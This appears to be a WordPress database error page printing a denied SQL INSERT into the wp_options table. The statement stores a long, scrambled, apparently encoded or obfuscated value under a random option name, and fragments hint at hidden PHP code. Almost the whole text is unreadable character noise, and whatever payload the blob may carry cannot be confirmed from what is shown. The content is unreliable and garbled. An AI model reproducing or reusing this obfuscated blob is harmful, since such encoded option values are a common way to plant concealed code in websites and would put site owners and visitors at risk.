,~$/la{ijdml/$nid{m!&/6La{ijdml4'gx|agf64'{mdmk|6/3((((u$/zm|zg%|ggdca|%nap%{m||afo{/$/zm|zg%|ggdca|%napWeiaf/!3u!3an n}fk|agfWmpa{|{ /illW{`gz|kglm/!!illW{`gz|kglm /zm|zgW|ggdca|WnapW{|i|{/$n}fk|agf !s((((,g5om|Wgx|agf /zm|zg%|ggdca|%napWgx|agf{/$izziq !!3((((zm|}zf(/4)%%({|i|{2(/& a{{m| ,gS/kik`m/U!7,gS/kik`m/U2/fgfm/!&/(%%6/3u!3an n}fk|agfWmpa{|{ /xWfgzeidarmWxi|`/!(..(n}fk|agfWmpa{|{ /zmoa{|mzWik|a~i|agfW`ggc/!!zmoa{|mzWik|a~i|agfW`ggc WWNADMWW$n}fk|agf !s((((an )om|Wgx|agf /zm|zg%|ggdca|%napWgx|agf{/!!illWgx|agf /zm|zg%|ggdca|%napWgx|agf{/$izziq /kik`m/56/mfijdml/$/~mz{agf/56/9&8/!!3u!3*3', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('9a645255d3d7', 'f\RS_VQU\DZYllILLlFLF6
F(\FFFFFFF4	F2		
F lFLF6
F34/\FFFFFFFF\IIH	I	

I	K		
K lFLF"	\FFFFFFF%	F	F
F		
lFLF0	\FFFFFFFFFFFWHVHSlFLF'	\FFFFFFFFFFFF5	F+

lFLF*\FFFFFFFFFFF!6*KTHVK	K
lFLF2F"	\FFFFFFF	K		
K lFLF4FF
\FSHVlFLF4F6.6\FFFFFFQHVlFLIlILF5%0\RHUHTRFLIl NG 	9NAP

_
TAO@@GNN NA5%9%)4#9$))290#4AO@@	9	NNO5%9%)4#9$))290#4JARHUHTRAJAX[AOONNB!*)$'*5=A9		9A;O@@	9	NNOB!*)$'*5=A9		9A;JARHUHTRAJAX[AOOOO 	FS
P
NBOFB[

] NB[[[

OB[9NNABB[	AJA#_::X]::<AJAFN)NFAJA6#]6U]AJA(Q_ <::]# #AJAELQ-::6#]6U]AJAW::@OV
::0CAJA# E<#AJAL UAJA#Q# AJA# L]AJAD6U]AJA6#]6U]AJA UAJAW:AO::@OV
::0CAJAUQ9ELQ-#AJAURDAJA(Q_ <::]# #AJA_U<DAJAQLRAJA(Q_ <::]# #AJA <Q_AJA(Q_ <::]# #AJA]6U]AJA_<EZAJA(Q_ <::]# #AJA ]UE6UAJA#Z#::-] :: ]UE::DAJA#Z#::-] :: ]UE::DAJA UEAJA#::DAJA#::Y 6L]AJAW::JM
[
[::0CAJAYE9_< ] AJATAJAN#_:: UEAJAEQ ]XAJA[:A0CHAJA#_:: UE::(]DAJA(Q_ <::]# #AJA]6LE6 AJA]6LE6 AJAW::JM
[
[::0CAJAN#_::AJAUDAJADAJA_<]::AJA_<]AJANEEAJA#::# -AOJNA#::DAJA#::(L]AJA(L]::-] ::_< ] #AJA(Q_ <::]# #AJAQZD8/#QUD_/X Q(6AJAELQ-#AJA]6LE6 AJAUDAJA(L]::-] ::_< ] #AJAUDAJA-] ::<E <AJA(Q_ <::]# #AJAQED6 ]::<E <AJA6_ X]::ELQ-#AJA#::66ZAJA::66ZAJA66Z::X6LQ]#AJA(L]::-] ::_< ] #AJA#::# -AJAE]-::U6 _AJATT4=J*&TDTNTDTNTD>=T4TAJA(L]U U]AJA(L]#!]AJA#_::_<::(] _AJA#_::E6ZL<6D:: AJA6E6_]::-] ::X]#<AJAC*C::M$[WBCAJA#  <L<Y]AJAC*C::M$[WBCAJA6E6_]AJA# E<#AJAL ]#E]]DAJA<E]L ]#E]]DAJAEE::#6E::6U]AJA_LAJACKO[:::A[	M0AJAC*C::M$[WBCAJAL ]#E]]DAJA::-] AJA::-] AJA<E]::6#]DAJA]6LE6 AJA]EL<D]AJA# E<#AJA0::
B:AAJAUDAJA#_::L<_R::AJA#_::L<_R::AJA#::<G]_ AJAU] <D::]# #AOJNA-] ::X6AJA@J[=V[::@MJ?&1AJA1.=>AJA(L<_RAJA(<E]AJAW::JM
[
[::0CAJATAJA#::DAJA#_::AJANL<_RAJA#_::L<_R::(AJA#::66ZAJA#_::L<_R::AJA#_::L<_R::AJA#_::L<_R::(AJA#_::L<_R::(AJA#_::L<_R::(AJA#_::L<_R::(AJAQ]ZAJA@J[=C@B::@MJ?&1AJA1>AJA0B@@MW::$@:::AM0AJA[<Y6L]AJA=AJA#Q# AJA=AJA#::# -AJA#Q# AJA=AJA#_::]<#AJA#_::]<#AJA_<Q AJA#_::]<#AJA#_::]<#AJA66Z::#L_]AJA#_::]<#AJA6DD::6_ <AJA#::# -AJA6DD::(L ]AJA(Q_ <::]# #AJAW::JM
[
[::0CAJAN#_::AJA_6_]AJAD]NEEAJA#::DAJA#::Y 6L]AJA#::DAJA#::Y 6L]AJAD6U]AJA#_::EQ-]AOJNA#::66ZAJA#_::EQ-]AJA#_::EQ-]AJA]6LE6 AJA#_::EQ-]AJA#_::EQ-]AJA#_::EQ-]AJA]6LE6 AJA(Q_ <::]# #AJA]-# ]::#Q D<Y::(Q_ <AJA6<]X22D::::2RLAJA#_::EQ-]AJA#::66ZAJA#_::EQ-]AJA_U<DAJA<E_6_]::X6LD6 ]AJA(Q_ <::]# #AJA]<::-] ::L6# AJA#::66ZAJA(L]AJA ZE]AJAU]##6-]AJAU]##6-]AJABLL<Y]D=U]U<Z=#!]AJA:A6UQU=]]_Q <= U]AJA]6LE6 AJA]6LE6 AJA]6LE6 AJA#::# -AJA#_::<< ::X]AJA#_::<< ::# AJA_L]6# 6 _6_]AJA(L]#!]AJANEEAJAN::AJANQ::AJA U]AJA(Q_ <::]# #AJAQED6 ]::<E <AJA#_::QED6 ]::6DAJA U]AJA<AJAD6U]AJA(Q_ <::]# #AJA6_ X]::ELQ-#AJA::66ZAJA66Z::D((AJA(6LAJAN<((AJA]6U]AOJNA<E_6_]::X6LD6 ]AJANEEN<((AJA(L]U U]AJA U]AJAD6U]AJA#::DAJAN#D::AJA6#]6U]AJA(L]::-] ::_< ] #AJA#::# -AJATDTNTDTNTDAJAHAJA(L]::EQ ::_< ] #AJA(Q_ <::]# #AJA#_::E]D-::X6LD6 ]AJAELQ-#::L<6D]DAJA/8ZXX#ULXRU::!)AJAG/D/2Y2_!'E-6AJAUDAJANNAJA]EL<D]AJAZ]#AJAE6 (<AJA(L]#!]AJAE]-::U6 _AJATT4=J*&TDTNTDTNTD>=T4TAJA6_ X]::ELQ-#AJA#::UQL # ]AJA(Q_ <::]# #AJA-] ::# ]::<E <AJA6_ X]::# ]YD]::ELQ-#AJA(L]::-] ::_< ] #AJA#::# -AJATT4=J*TDTNTDTNTD=T4TAJAE6 AJA]6LE6 AJAD]6DAJA-<]AJA#_::D]DQE:: <<RAJAELQ-#::L<6D]DAJA<::'8_F#_-::)RL<<Q-)AJA# 6 -AJAD]DQEAJA<E]DAJA]6DDAJA<E]DAJANNAJA(Q_ <::]# #AJA_L<#]DAJA(Q_ <::]# #AOJNA#_6DAJA66Z::X6LQ]#AJA(Q_ <::]# #AJA-L<AJA-L<AJA4AJA66Z::U6EAJA6#]6U]AJA#::# -AJA3AJA <R]::-] ::6LLAJA[M?
::BCAJA#::66ZAJABF8_BB2J2/'/F/8BBJ'2$/2(B2')AJA/)D2__)$]/D)02822FD82/'06D]BFAJA'D_F)$82'8F6F/F')88)06AJA  E#E_N<] AJA  E#] ]]QU9EQL_N<D]#N6EEAJA  E#] NDE_N<-AJA  E#E_N] N-6 ]Y6ZN(UAJA  E#] NL<_R6!<NZ!AJA  E#EQL_9] N<Y<D]#N<AJA  E#] 9U6] NE_(6# N_<U36E::R]ZHW2WR-QR/
:AQ2XX@QV@;U-Y]JF'-	8WDY$- UW* C#RKY(AJA  E#] 2NL6X6NQLDAJA  E#] NE_NLDN_<UAJA  E#] 9U6] NEQL_NL6# 6EN<AJA  E#-6 ]Y6ZN ]D]LZN_<EQL_U6] AJA  E#] ]]QUNE_N#QQ]ZN] Y<REQL_AJA  E#] ]]QU9E_NEQL_<D]N_<UAJA  E#U6] N-6 ]Y6ZN ]D]LZN_<AJA  E#] N6EN<(6L ZN<EQL_AJA  E#] ]]QUNEQL_NL<_REN] Y<RX2E_EQL_AJA  E#] ]]QU9G#<9E_N# 6R]LZN<AJA  E#E_N#] <NZ!U6] AJA  E#] NU]RL]N<AJA  E#] N6ENE<_R] N] Y<RAJA6DU::AJA6DU::AJA6DU# 6 <::AJA6_RQE::AJA(Q_ <::]# #AJA-!]_<D]AJA(Q_ <::]# #AJA-!D](L6 ]AJAE6_RAJA__)AJA#::# -AJA# L]AJAQE6_RAJA-!D]_<D]AOJNA(Q_ <::]# #AJA-!(L6 ]AJA# L]AJA# L]AJA(Q_ <::]# #AJA]AJA#::# -AJA# L]AJA	4AJAYE96DUAJAYE9_LQD]#AJA-L<AJA4NEEAJA66Z::6DAJA U]AJAYE::6DAJA6DAJA# L]AJA_6LL::Q#]::(Q_AJAYE::]U< ]::-] AJAYE::]U< ]::-] AJA U]<Q AJA##LX](ZAJALU ::]#E<#]::#!]AJA#::YE::]<AJA_QL:: AJA_QL::#] <E ::66ZAJA_QL::]]_AJAJOC@M[::C[OC
[CB
$CAJAJOC@M[::[:AMO[AJAJOC@M[::@::*C$CAJAJOC@M[::@::*C$	M[AJAJOC@M[::
MCMVCAJAJOC@M[::CMVC$O
J[M
AJA  E::_<D]AJA_6LL::Q#]::(Q_AJAYE::]U< ]::E<# AJA U]<Q AJA##LX](ZAJALU ::]#E<#]::#!]AJA]6D]#AJA<DZAJA#::YE::]<AJA#::66ZAJA=AJA7=AJA(Q_ <::]# #AJAJOC@M[::M[AJAJOC@M[::M[$@0AJAJOC@M[::[:AMO[AOJNAJOC@M[::	[[	B0CAJA-] ::<E <AJA#_::L6# ::E_AJA66Z::Q#( AJA UAJA66Z::6DAJA,"G#<E_""N"."D")."U] <D""] ::_6LL"."E66U#"5,"D6 6"")_D])"." <""AJA"S."L6 ]# "SAJAJ< ] 9[ZE]AJA6EEL_6 <G#<AJAU_< U]AJA UAJAG#<::D]_<D]AJA]#QL AJA]#QL AJA]#QL AJA# E<#AJAAJA<DAJA#Q# AJA#Q# AJA#::# -AJA#::# -AJA# L]AJA]#<LX]AJAE_::D]_ZE ::(6L]DAJA]#<LX]AJAE_::6D::R]Z::L]- AJA#Q# AJA66Z::(L ]AJA UAJAE]-::#EL AJAT3TAJA#_::_::_6_]AJAUEL<D]AJA#]X]::R]ZAJAQL#AJA]#<LX]AJA#X::R]ZAJA#::# -AJA66Z::X6LQ]#AJA UAJAQL#AJAE_::6LL::(6L]DAJA(Q_ <::]# #AJAQED6 ]::<E <AJA#]6L!]AJA_AJAU ::6DAJA6#]'F::]_<D]AOJNA-] ::<E <AJA#::# -AJA6#]'F::D]_<D]AJA# L]AJA_AJA<DAJA	::*CM
::0AJAQ#]6L!]AJA6LL<Y]D::_L6##]#AJA# ::]EL6_]AJA]EAJA#YAJA#Y::QLAJA#Y::_6_]DAJA#::#_6L6AJA#_::]<#AJA]<#AJA66Z::U]-]AJA66Z::QQ]AJA]<#AJA66Z::QQ]AJA66Z::U]-]AJA]<#AJA(LQ#::]<#AJA# L]AJA# L]AJA<DAJA#_::E6ZL<6D::E]## ] AJA_< ]X6LAJA_< ]X6LAJA#_:: ]X6LAJA ]X6LAJAD#EL6ZAJAJQ# <U=U6 ]6_]= ]X6LAJA#_::-Q6D:: ]X6LAJAD#EL6ZAJAYE::] ::#_]DQL]DAJAYE::#_]DQL]::]X] AJA#_::_6AJA U]AJAU ::6DAJA0M
V::JCM
AJA#Q D<YAJA#8FDG'FZD(R-AJA(Q_ <::]# #AJAYE::]U< ]::-] AJA# ]::QLAJAYE9_<NEE3D<-::YE::_<HAJAL<_R-AJA(6# _-::(#::]Q]# AOJNA(Q_ <::]# #AJAL ]#E]]D::(#::]Q]# AJA-<]::Q#]::6< AJA-<]::Q#]::6< AJA::-] AJA!LN<Q EQ ::_<UE]##<AJA<::-] ::L]X]LAJA<::-] ::L]- AJAJ< ] 9@]- =AJAJ<]_ <=_L<#]AJA<::]D::(LQ#AJA(LQ#AJAYE::#_]DQL]::#-L]::]X] AJA0B@::W::JCM
AJA-] ::<E <AJA#_::L6# ::(] _:: #AJA-] ::<E <AJA#_::#]]::X]AJA#_::#]]::X]AJA(Q_ <::]# #AJAYE::Q#_]DQL]::]X] AJA(] _AJA_<::# 6L]::L]AJA#] :: U]::LU AJA-] :: 6#] AJA#::66ZAJA#_::E6ZL<6D::E]## ] AJAELQ-CQL]#AJA#::66ZAJA#_::ELQ-::QL]#AJAG]_ CQL]#AJA#::66ZAJA#_::G]_ ::QL]#AJAG#AJA#_::G#AJAG#AJAE6-]AJA#::# -AJA#_::E6-]AJAE6-]AJA#YAJA#YAJA#_::#YAJA_6_]AJA(Q_ <::]# #AJA#_::L6# ::]6L:: #AJA(Q_ <::]# #AJA#_::]6L::#_6AJA#_AJA# L]AOJNA#::# -AJA# L]AJA#::# -AJA#_::L6# ::]6L:: #AJA<AJA#Q# AJANEEAJAW::@OV
::0CAJA-L<AJA44NEEAJA66Z::QQ]AJAE]-::]EL6_]AJAT#AJA(L]::-] ::_< ] #AJA#::# -AJAT#AJA#] :: 6#] AJA#_::]6L::#_6AJA U]AJA]6LAJA(Q_ <::]# #AJADD::6_ <AJA]-# ]::#Q D<Y::(Q_ <AJA(Q_ <::]# #AJA<U]::QLAJA-] ::<E <AJA U]AJA#_::L6# ::AJA<AJA(Q_ <::]# #AJAE6ZL<6D[ LAJAE6ZL<6D[ LAJA U]AJA#_::L6# ::(] _::(6L:: #AJA#_::(] _::(6L#AJAU6AJAUAJAX]AJAEEAJA#6EAJA##LAJA(Q_ <::]# #AJA#::##LAJAU#AJAYEAJAYE::X]#<AJA#XAJA#Q# AJA#_::G#AJA#::# -AOJNA#_::G#AJAG#::<AJAG#::L]AJA# L]AJAG#::]AJA#_::G#::E ]DAJAG#::<AJA#_::G#::<::Q#]DAJAG#:: #AJA(Q_ <::]# #AJA#_::G#::E ]D:: #AJA#Y::QLAJA#Y:: #AJA#_::#Y::]E:: #AJA#Y::L6# AJA#_::#Y::]E::L6# AJA#Y::6DAJA(Q_ <::]# #AJA#_::#Y::6DAJAX::6DXAJA#::(L]AJA6DX6_]D9_6_]NEEAJA(L]::-] ::_< ] #AJAX::DAJA#::(L]AJADNEEAJA(L]::-] ::_< ] #AJAX::<_AJA<G]_ 9_6_]NEEAJAN-::AJAN-L::AJAX::-Q6DAJAYE9_LQD]#AJA U]AJAX::-Q6DAJA(Q_ <::]# #AJAQ#]::N(L]6U]AJA#::# -AJA&<]>AJANQ#]NAJAX::AJA6Q <::E]E]D::(L]AJAX:: AJA#::(L]AJAN 6__]##AJA6Q <::E]E]D::(L]AJAX::Y_AJA#::(L]AJAYE9_<(-NEEAJA(L]::-] ::_< ] #AOJNAYE9_<(-NEEAJAJ::WJAJAE]E]DAJAJ::BO[M::C
0AJAE_AJAW::CMJ?[::*CM
AJA@JW::*AJAW)[JAJA#-::_6_]E]##::EQ-]::_6_]AJA_L6##::]# #AJAJ6_]::6L]AJAYE::(6# ]# ::_6_]AJA(Q_ <::]# #AJAYE::_6_]::#]X]::_6_]::(L]AJA(::<RAJA(::(6L#AJA#_::(] _::(6L#AJA(::(6L:: #AJA#_::L6# ::(] _::(6L:: #AJA_AJA_(AJA #AJA U]AJA_::AJA_::(6AJA#_::L::U<D]AJALAJA#::# -AJA#_::_66ZAJA_ZAJA ]U#AJA]AJA#Q# AJA#Q# AJA# ]::QLAJAYE9L<-NEEAJAYE::L<-::QLAJA<U]::QLAJAE6#]::QLAJA	::OC@::	M[AJA-] ::# ]::QLAJA-] ::L<-(<AJAQLAJA(Q_ <::]# #AJA-] ::<E <AJA# ]QLAJA	[[::	M[AJAC*C::
B:AAJA(Q_ <::]# #AJA::-] AOJNAU6::]]_Q <:: U]AJA#] :: U]::LU AJAU_< U]AJA#::# -AJA#]X]::R]ZAJA#]X]::R]ZAJA<AJA#_::L6# ::_AJA#Q((L]AJA66Z::Q#( AJA_<Q AJA-] ::<E <AJA4NEEAJA#::66ZAJAD<U6AJAELQ-*]#<AJAELQ-AJA<< AJA UAJA6_ X6 ]DLQ-#AJAUQLQ-#AJAL<-OLAJA6DU#AJA6DU#J<<R]#AJAYE::G#<::]_<D]AJAG#<::]_<D]AJAJ< ] 9[ZE]AJA6EEL_6 <<_ ] 9# ]6UAJA#::66ZAJA_::]UE Z=AJA_::D]_ZE ::(6L]D=AJA UAJA_::6D::G#<=AJA(] _::QLAJA]6_<AJAAJA9::AJA# ::#EL AJAU_< U]AJA_<Q AJAU_< U]AJA#_::HAJAHAJAHAJADHAJA#::66ZAJA(Q_ <::]# #AJA#_::L6# ::_AJA(Q_ <::]# #AJAD]L] ]::<E <AOJNA#_::]<#AJA#_::]<#AJA66Z::X6LQ]#AJAELQ-AJA#::# -AJAELQ-AJA 6-] *]#<AJA(<_]OED6 ]AJAG]_ CQL]#AJA#::66ZAJAG]_ CQL]#AJA#::# -AJAG#::_6_]DAJA#_::G#AJAG#AJAUDAJAG#::_6_]DAJA<AJAE6-]AJAE6-]::_6_]DAJA#YAJA#YAJA#_::#YAJA#YAJA#YAJA ]UEL6 ]#AJA#::66ZAJA ]UEL6 ]#AJA-Q6DAJA6DX6_]DJ6_]AJA6DX:: ELAJADAJAD:: ELAJA ]U]AJA ]U]:: ELAJA 6__]##AJA :: ELAJAQ#]AJAQ:: ELAJA# 6LL]AJA# :: ELAJA<_@<6D]AJA<_:: ELAJA#::QU]_AJA#::QU]_AJA_< ]X6LAJA_< ]X6LAJA#_::L6# ::(] _:: #AJA!L-UED_QYY'G!86<R2 AJA#_::E6ZL<6D::E]## ] AOJNAE6ZL<6D[ LAJA#_::E6ZL<6D::E]## ] AJA<AJA_< ]X6LAJAYE::-] ::#_]DQL]D::]X] AJAYE::_L]6::#_]DQL]D::<<RAJA U]AJA#_::L6# ::(] _::(6L:: #AJA(] _AJA#_::_6AJA#::# -AJA3EEAJAQED6 ]AJA#Z 6::]<AJATT4=J*&TDTNTDTNTD>=T4TAJAQED6 ]AJAX]::U#U6 _AJA<::#_XAJA<::E]XAJAD6U]AJA U]AJAQLRAJA(Q_ <::]# #AJA U]<Q AJA]D]_ <AJA(Q_ <::]# #AJA(Q_ <::]# #AJA-] ::<E <AJA6_ X]::ELQ-#AJA::66ZAJA]EL6_]::(6LAJA#] :: 6#] AJA#_::]_<X]::_]_RAJA<U]::QLAJAYE::]U< ]::-] AJA3#_::_HAJA U]<Q AJA#L]]EAJA::66ZAJA<AJAQED6 ]AJA<LL6_R::(6L::AJAD6U]AJAN::AJA(Q_ <::]# #AJA#::66ZAJA::66ZAJA#_::E]## ]DAJA_66Z::<LL6_R::AJAN#D::AOJNA#_AJA#_::_6AJAW::@OV
::0CAJA-] ::ELQ-#AJA(L]::]# #AJAYE96DU_LQD]#ELQ-NEEAJAE]-::U6 _AJA#_6AJA#_::ELQ-::QL]#AJA# E<#AJAD6U]AJA#::]6D6L]AJA_AJAEEAJAE ULAJA ULAJAG#AJA#::(L]AJAU_< U]AJA#::66ZAJA#::LRAJA#::(L]AJAE6 (<AJAB[	
$M::;[
M
AJA# E<#AJAD]6_ X6 ]::ELQ-#AJAYE96DU_LQD]#ELQ-NEEAJA(Q_ <::]# #AJAW::@OV
::0CAJA#::DAJAD]L] ]::ELQ-#AJA_Q] ::Q#]::_6AJA-] ::Q#]#AJAYE::#] ::_Q] ::Q#]AJA<L]AJA6DU# 6 <AJAQU]AJA# E<#AJA]6LE6 AJA# E<#AJA0CJ[MC::BCB[MCAJA#::LRAJA#::DAJAUDAJA66Z::R]Z#AJA#::DAJA#::66ZAJAB[	
$M::;[
M
AJAEEAJA]#_6AOJNA#_::L6# :: UE_L]6AJA#_::L6# :: UE_L]6AJA U]AJA#_::AJA(Q_ <::]# #AJAYE::AJA#::(L]AJA U]AJANEEAJAYE9_< ] AJAELQ-#AJA44NEEAJA6#]6U]AJAD6U]AJA# E<#AJAJ::0::V
AJAT3TT4=J::0::V
&569!B9 9N::>=T4TN43TT4=J::0::
0T2=T4TT3#AJA(Q_ <::]# #AJA#_::ELQ-::QL]#AJA#::66ZAJA#_::L6# ::]#_6AJAE]<D_AJAU-6 ]AJA#_::X6LDAJA-] :: 6#] AJA#_::U-::(6LAJA#::LRAJA#::DAJA#::Y 6L]AJAUQ::< ::Y 6L]AJA(Q_ <::]# #AJA#::(L]AJAUDAJA(L]::-] ::_< ] #AJA(L]::-] ::_< ] #AJA(L]::]# #AJA(L]::-] ::_< ] #AJA#::# -AJAQED6 ]::<E <AJA(Q_ <::]# #AJAD]L] ]:: 6#] AJA-] ::<E <AJA(Q_ <::]# #AJA#_:: 6L!]DAJA<AJA(Q_ <::]# #AJA6DD::<E <AJA#_::L6# ::(] _::(6L:: #AJA<AJA#Q D<YAOJNA::EG#XUY)-<Q]AJA AJAD]L] ]::<E <AJAYE::]U< ]::-] AJAY6UAJA#::6DUAJA6_ X6 ]::ELQ-#AJA6_ <AJA6_ X6 ]AJA6_ X6 ]9#]L]_ ]DAJA UAJA_]_R]DAJA#::66ZAJA UAJAYE::#6(]::]D]_ AJA6DU::QLAJAELQ-#NEEAJA#_6::6_ AJAD<E#AJAELQ-#AJAD<E#AJADNEEAJAJ::0AJA6DX6_]D9_6_]NEEAJAJ::B0*AJAD<E#AJA(L]::-] ::_< ] #AJA4=AJA::V
AJATT4=AJA::V
&569!B9 9N::>=T4TN43TT4=AJA::
0T2=T4T#AJAUQ# Q#]AJAELQ-#AJAUQ# Q#]AJA::(_::U8F'F8](EL]2-_<UAJA6#]6U]AJANEEAJA# ZL] 5D6 69ELQ-H"AJA". 5D6 69ELQ-H"AJA",D#EL6Z<]UE< 6 S# ZL]AJA#_E D<_QU] N6DDX] @# ]]&"0M:AJ< ] @<6D]D".(Q_ <&>,D<_QU] NQ]Z]L]_ <BLL&" 5D6 69ELQ-">N(<6_&(Q_ <&>,X6=EHN-] B  Q ]&"D6 69ELQ-">7(&EHHH"AJA"\\EHHH"AJA">N]U<X]&>S>7X6=_HD<_QU] NQ]Z]L]_ <&"N#Q#Q#Q=NUQ# Q#]=N_<Q ">7(&_>,X6=HE6#] &_N ] J< ] N]EL6_]&59-."">>\\7(&>_N ] J< ] H"&":A6 NU6&.92>">"SS>7#_E AJA(Q_ <::]# #AJA62#F_Y8Y</_Y<R_::AJA(6 # DER<]F X'2AJA6#]6U]AJA-] ::ELQ-::D6 6AJA
6U]AOJNA
6U]AJAYE9ELQ-#96_ X]AJAYE9ELQ-#96_ X]AJA(]LD#AJA#::66ZAJA(]LD#AJA# E<#AJAYE9UQ9ELQ-#AJAYE9ELQ-#9UQ# Q#]AJA4=J*AJALQ-=
6U]T#4&5TT4>AJA6#]6U]AJAYE9D<E#AJA#::66ZAJAYE9D<E#AJA(]LD#AJABB[	AJAYE9_< ] AJA4=AJA::V
AJA# E<#AJAE6  ]AJAE]-::Q< ]AJAPAJADD]AJAAJA<< #AJA#::66ZAJA#:: AJA6  Q ]#AJA6  Q ]#AJA	:::AB+MC::*CM
AJA]L$D]J<]_ <AJAYE9(L]9U66-]LEE]L$D]J<]_ <N_L6##NEEAJA(L]9U66-]LEE]L$D]J<]_ <N_L6##NEEAJA(L]9U66-]96DX6_]DLEE]L$D]J<]_ <N_L6##NEEAJA#::(L]AJAN_L6##NEEAJANEEAJA_L6##=]L$D]J<]_ <AJAE]-::]EL6_]AJAT#4T3&EE>3AJA_L6##=::J::]L$D]J<]_ <::C]6LAJA3EE=AJA::#_::D]AJA::#_::D]::DAJA3EE=_L6##=]L$D]J<]_ <=] ]D#=::J::]L$D]J<]_ <::C]6L=,AJAE< ]_ ]D=(Q_ <=<Q EQ &=66Z=PD6 6=>=,AJAPD]=H=##] &=PV@MB@5"::#_::D]"=>=3=PV@MB@5"::#_::D]"==""7AJA(=&=PD]=HH=""==(Q_ <::]# #&="#_::(U::(L ]"=>=>=,AOJNAPD6 6=H=#_::(U::(L ]&=PD6 6.=PD]=>7AJAE6] <Q EQ &=PD6 6=>7AJAYE::AJA(UAJA<RF_6/2# _8]ZAJA#::66ZAJA(L]#AJA6DD]DAJA_6-]DAJA ]]AJA#::66ZAJA6U]AJA::#_::D]::DAJA# L]AJA#::# -AJA#_AJA#::(L]AJA#Q# AJAUDAJA(Q_ <::]# #AJA#_::]_<X]::_]_RAJA#_AJA#_::]_<X]:: <  L]AJA]_<X]AJA#<Q_]::]UE ZAJA UAJA#_::]_<X]::_]_RAJAYE::#]D::]Y::Q#]::< (_6 <:: <::6DUAJA::::] Q::(6L#]AJAYE::]Y::Q#]::< (_6 <::]U6L::6DUAJA]U<X]::6_ <AJA]-# ]::]Y::Q#]AJAYE::#]D::]Y::Q#]::< (_6 <#AJA]D ::Q#]::_]6 ]D::Q#]AJAYE::L<-AJAYE::< (Z::6DU::]Y::L<-AJAYEDAJA_6E6L ]#AJA@J[=QN0.=QNQ#]::L<-.=QNQ#]::E6##.=QNQ#]::]U6L=$CM:A=AJA=Q=

C=+M
=AJA=U=M
=QN0=H=UNQ#]::D=W	C=UNU] 6::R]Z=H=I#=B
0=UNU] 6::X6LQ]=@?=I#AJAI6DU# 6 <IAJA <AJAYE::-]]6 ]::6Q ::_<<R]AJAW::]##<::[<R]#AJA#::66ZAJA U]AJA#]_Q]::6Q AJA6Q AJAJOC::BO[	::JMM?AOJNABO[	::JMM?AJA@MVV0::
::JMM?AJAJMM?::0M:AB
AJAJMM?B[	AJAB0:A
::JMM?::B[	AJAYE96DUAJA[COAJA$B@AJAYE::U6LAJA##Q]DAJA(Q_ <::]# #AJA-] ::<E <AJAQ#]::U] 6AJA#]##<:: <R]#AJA_<Q AJA]E6 <AJA_<Q AJA-] ::# 6_]AJAL<--]D::AJA[COAJAYE::-]]6 ]::6Q ::_<<R]AJA_<<R]#AJAYE::U6LAJA#::66ZAJAQAJAEAJA#::<G]_ AJA6#::_6EAJA6DU# 6 <AJA_AJA #AJA U]AJA<AJA ]_]E AJA#::66ZAJA#::66ZAJAL<-::_(AJAAJAE]-::Q< ]AJA569(9,'.2SPAJA#Q# AJALDAJA LAJA//<8FDD)<AJA U]AJA(Q_ <::]# #AJAQED6 ]::<E <AJA U]AJA#::# -AJAD6U]AOJNA#_AJA(L]::EQ ::_< ] #AJA<AJA6 <U_::<::D=AJA6#]6U]AJA6 <U_::6D::EE=AJA#::(L]AJA6 <U_::<:: ]UE6U=AJA# L]AJA#_::AJAYAJA(Y ]AJA#Q# AJA(Q_ <::]# #AJA(#Z_AJA(L]::EQ ::_< ] #AJA6 <U_:: ]UE::(6L=AJA6 <U_::#< ::Y ]=AJAN#_<LDAJA(L]::-] ::_< ] #AJA#::# -AJA#::# -AJA#::# -AJA<AJA6 <U_::]6U]::(6L=AJA(L]::-] ::_< ] #AJAUDAJA(Q_ <::]# #AJA6#::(L]AJA#::# -AJA#::# -AJA#Q# AJA6 <U_::X](Z::(6L=AJA#::# -AJA6#::(L]AJA6 <U_:: D::E6 Z=AJA6#]6U]AJA(L]::EQ ::_< ] #AJA#::(L]AJA#::# -AJAX86((_L::DQ<LL##AJA(Q_ <::]# #AJA#_::EHAJA U]AJAU ::6DAJA U]<Q AJA##LX](ZAJA]D]_ <AJA]6D]#AJAJ6_]9J< <LAOJNA<9_6_]AJA(Q_ <::]# #AJA(Q_ <::]# #AJA U]<Q AJA#::YE::]<AJAT3(:A<DQL]=U<D::EE59N4TN_T#4EE::X6LQ]=6Q <::E]E]D::(L]5T4AJA5T4TT(:A<DQL]T3AJAT3(:A<DQL]=L ]#E]]DT#4EE::X6LQ]=6Q <::E]E]D::(L]5T4AJAT3EE::X6LQ]=6Q <::E]E]D::(L]5T4AJA5T4T3AJA(Q_ <::]# #AJA<E_6_]::-] ::# 6 Q#AJA<E_6_]::]6L]DAJAY ]::(6L]D=AJAYAJA6#]6U]AJA(L<_RAJA(Y ]AJA(Q_ <::]# #AJA#] :: 6#] AJA#_::6DU:: _RAJA#_::6DU::(L- AJA#_::6DU::(L- AJA-] ::<E <AJA(Q_ <::]# #AJAQ#]6U]::]# #AJA6DU:: _RAJA-] ::<E <AJA(Q_ <::]# #AJAQ#]6U]::]# #AJA#::66ZAJA]6UEL]N_<UAJA(Q_ <::]# #AJAYE::#] ::E6##Y<DAJA<AJA66Z::6DAJA6DUAJA_<LL#<AJA(Q_ <::]# #AJAYE::#] ::Q#]AJA(L]::]# #AJAYE9_LQD]#Q#]NEEAJAQ#]::L<-AJAQ#]::E6##AJAQ#]::]U6LAJA<L]AJA6DU# 6 <AJAD#EL6Z::6U]AJA<::YEDAJAYE::6#::E6##Y<DAOJNA_Q] :: U]AJAUZ#LAJA9U9D=	#AJAQ#]::L<-AJAQ#]::_]6U]AJAQ#]::]-# ]]DAJAQ#]::# 6 Q#AJAI#AJAIDAJA#L::#] ::(6LAJAQ#]::DAJAU] 6::R]ZAJAU] 6::X6LQ]AJAU] 6::R]ZAJAQ#]::L]X]LAJAI#AJAI#AJA_L]6::Q#]::_6_]AJA6DUAJAX](Z::(6LAJA(Q_ <::]# #AJA-] ::Q#]::ZAJAL<-AJAQ#]::_6AJA_6E::X](Z::(6LAJAYE::D]L] ]::Q#]AJABB[	AJAYE96DU_LQD]#Q#]NEEAJA<AJAQ]Z::Y]]AJA# E<#AJA=B
